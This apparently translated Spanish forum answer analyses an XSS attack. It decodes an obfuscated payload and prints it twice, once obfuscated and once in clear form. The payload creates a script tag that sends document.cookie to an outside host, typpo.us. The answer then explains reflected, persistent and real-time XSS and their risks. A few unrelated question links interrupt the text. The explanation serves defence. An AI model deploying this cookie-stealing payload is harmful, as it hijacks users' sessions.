Este es un ataque muy directo. Si decodifica los múltiples niveles de escape, terminará con:
_0xe6fe=["script","createElement","src","http://typpo.us/t.php?s=","cookie","setAttribute","appendChild","item","head","getElementsByTagName"];js=document[_0xe6fe[1]](_0xe6fe[0]);js[_0xe6fe[5]](_0xe6fe[2],_0xe6fe[3]+escape(document[_0xe6fe[4]]));document[_0xe6fe[9]](_0xe6fe[8])[_0xe6fe[7]](0)[_0xe6fe[6]](js);
Parece que se ejecutó a través de algún tipo de minificador de código, sin embargo, es trivial explotarlo en el código real no ofuscado:
- ¿Alguna vez has pirateado la computadora de otro hacker?
- ¿Por qué la NSA no puede descifrar el cifrado de Apple?
- ¿Por qué los sitios web supuestamente seguros (https) aparecen en mi computadora portátil de trabajo como inseguros en todos los navegadores?
- ¿Por qué el gobierno indio no está haciendo nada en el campo de la ciberseguridad?
- ¿Qué se debe hacer cuando nuestro teléfono está comprometido?
js = document.createElement ('script'); js.setAttribute ('src', 'http://typpo.us/t.php?s=' + escape (document.cookie)); document.getElementsByTagName ('head'). item (0) .appendChild (js);
Por lo tanto, es muy simple, solo recopila cookies y las envía a un script que se ejecuta en “typpo.us”.
En cuanto a su pregunta, no diría que hay ataques XSS “más efectivos”; cualquier agujero XSS debe tomarse muy en serio. Cualquier agujero XSS permitirá que un atacante actúe en nombre de sus usuarios. Los desarrolladores a veces intentarán mitigar el riesgo de agujeros XSS con los sistemas de cortafuegos IDS, las cookies solo http y los piratas informáticos similares, sin embargo, estos métodos no deben considerarse una forma de prevención primaria. Y a veces los mecanismos de protección pueden ser dañinos al enmascarar los agujeros de los desarrolladores.
Hay diferentes clases de agujeros XSS que podrían considerarse más serios que otros.
Probablemente el “menos” serio es un vector que solo persiste en una sola página, tal vez en un parámetro GET o POST. Los atacantes pueden explotar esto incrustando la página con el vector incluido en un iframe en un sitio web. Entonces, cualquier espectador que visite el sitio web malvado cargará su sitio en un iframe y luego ejecutará automáticamente el vector de ataque. El ataque podría hacerse viral haciendo que el código publique enlaces a sí mismo en su sitio bajo la identidad del usuario explotado.
Lo siguiente a considerar es un vector persistente, que creo que es lo que te atacó. Este es un vector que persistirá en el sitio web de destino, tal vez en forma de una sección “acerca de mí” o publicación en un foro, por ejemplo. Esto es más grave porque permite que el vector XSS se ejecute pasivamente con solo visitar una página, en lugar de requerir que un usuario haga clic en un enlace. Tiene la ventaja adicional de no requerir un servidor externo, lo que puede dificultar el seguimiento del atacante. Nuevamente, esto podría hacerse viral al hacer que la víctima propague el vector bajo su identidad.
Otro posible ataque al que algunos sitios pueden ser vulnerables serían los ataques en tiempo real. En sitios web modernos (como Quora, o muchos otros) que incorporan elementos en tiempo real si hay un vector XSS en los mecanismos en tiempo real, podría ser catastrófico. Un vector cuidadosamente diseñado podría extenderse a todos los usuarios activos en cuestión de segundos.
La carga útil de cualquier vector puede variar desde “mostrar un pony en la página” hasta “enviar credenciales a la parte malvada” o “eliminar permanentemente todo en la cuenta del usuario”.
Entonces, la solución es no tener agujeros XSS en su sitio web.